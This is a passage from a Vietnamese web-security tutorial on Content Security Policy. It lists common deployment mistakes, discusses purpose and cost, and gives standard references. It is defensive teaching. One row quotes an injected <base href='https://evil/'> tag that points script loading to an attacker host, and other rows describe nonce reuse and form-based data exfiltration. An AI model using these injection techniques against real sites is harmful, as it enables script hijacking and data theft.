script-src 'self' cộng ô upload file'self' cho phép chính file người dùng upload lên. Xem topic file-upload
Nonce dùng lại giữa các requestKẻ tấn công đọc nonce từ một response rồi dùng cho payload
Thiếu base-uri<base href="https://evil/"> làm script có nonce nạp từ domain kẻ tấn công. Nonce vẫn khớp
Thiếu form-actionCSP chặn script nhưng một <form> đã chèn vẫn gửi dữ liệu ra ngoài
Đặt CSP bằng <meta>frame-ancestors, report-uri, sandbox bị BỎ QUA hoàn toàn, và không có gì báo lỗi
Bỏ report-uri sau khi cưỡng chếMất luôn phần phát hiện. Đây là thứ BA thiếu trong 15 ngày
Cưỡng chế ngay không qua Report-OnlyTrang vỡ, và CSP bị tắt trong vòng một giờ. Cách triển khai quan trọng bằng nội dung policy
Coi CSP là bản vá XSSNó là lớp 2. HTML chèn được vẫn phishing được trong chính origin của bạn, với URL đúng và TLS đúng

Sai lầm về mục đích, và nó là gốc của mọi hàng trên: nghĩ CSP là một header thêm vào để "tăng điểm bảo mật". Một CSP có unsafe-inline đúng là làm điểm scanner tăng, và nó bảo vệ gần như không gì — nên nó tệ hơn không có CSP: nó tạo cảm giác đã xử lý XSS.

Sai lầm về chi phí: nghĩ CSP nonce triển khai được trong một sprint như một dòng cấu hình. Nó buộc bỏ mọi onclick= và mọi inline script — vài ngày cho một app cỡ trung. Nói ra con số đó từ đầu là cách duy nhất để dự án không dừng ở unsafe-inline.

09

Nguồn tham khảo

Bậc 1Content Security Policy Level 3 · W3C · Working Draft · CSP3
Bậc 1CSP: strict-dynamic · MDN · HTTP reference · 2025
Bậc 1Trusted Types · W3C · Working Draft · 2025
Bậc 1A05:2021 – Security Misconfiguration · OWASP · Top 10 · 2021
Bậc 2Content security policy · PortSwigger · Web Security Academy
Bậc 2Content Security Policy Cheat Sheet · OWASP · Cheat Sheet Series
Bậc 3CSP Is Dead, Long Live CSP! On the Insecurity of Whitelists and the Future of CSP · Weichselbaum, Spagnuolo, Lekies, Janc — Google (ACM CCS 2016)
Nằm trong lộ trình
Secure Backend DeveloperXem lộ trình

Bình luận

Tham gia thảo luận
Đăng ký để bình luận

Bình luận cần tài khoản đã hoàn thành ít nhất một bài học. Điều kiện đó là thứ giữ cho luồng thảo luận này còn đáng đọc: mỗi ý kiến gắn với một người có thể bị hỏi lại, và reputation tích luỹ theo thời gian.

Đăng kýĐăng nhập

Bạn vẫn đọc được toàn bộ bình luận dưới đây mà không cần tài khoản. Đăng nhập xong bạn sẽ quay lại đúng chỗ này, không phải đầu trang.

Đang tải bình luận…